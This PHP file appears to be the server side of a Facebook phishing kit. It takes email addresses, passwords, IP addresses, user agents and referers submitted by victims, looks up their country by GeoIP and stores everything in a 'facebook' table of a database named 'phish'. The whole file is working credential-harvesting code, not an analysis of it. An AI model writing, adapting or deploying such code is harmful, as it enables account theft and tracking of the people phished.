<?

// Include GeoIP thing.

//include("geoipcity.inc");
//include("geoipregionvars.php");

//geoip_load_shared_mem("/usr/local/share/GeoIP/GeoIPCity.dat");
//$gi = geoip_open("/usr/local/share/GeoIP/GeoIPCity.dat",GEOIP_SHARED_MEMORY);

// - MySQL Info.

$username = "root";
$password = "******";
$server = "localhost";
$database = "phish";

mysql_connect($server,$username,$password);
@mysql_select_db($database) or die ("Database not working bro");

$ipaddress=mysql_real_escape_string($_REQUEST['ip']);
$useragent=mysql_real_escape_string($_REQUEST['useragent']);
$referer=mysql_real_escape_string($_REQUEST['ref']);
$email=mysql_real_escape_string($_REQUEST['email']);
$pass=mysql_real_escape_string($_REQUEST['pass']);

//$record = geoip_record_by_name($ipaddress);
$countrycode=geoip_country_code_by_name($ipaddress);


//print_r($record);
//$record->country_code;
//$countrycode3=$record->country_code3;
//$country=$record->country_name;
//$city=$record->city;
//$postalcode=$record->postal_code;
//$latitude=$record->latitude;
//$longitude=$record->longitude;
//$metrocode=$record->metro_code;
//$areacode=$record->area_code;
//$region=$record->region;

mysql_query("INSERT INTO facebook (email,pass,ipaddr,useragent,ref,datetime,country_code,country_code3,country_name,longitude,latitude,city,postalcode,metrocode,areacode,region) values ('$email','$pass','$ipaddress','$useragent','$referer',NOW(),'$countrycode','$countrycode3','$country','$longitude','$latitude','$city','$postalcode','$metrocode','$areacode','$region')") or die (mysql_error());

mysql_close();

?>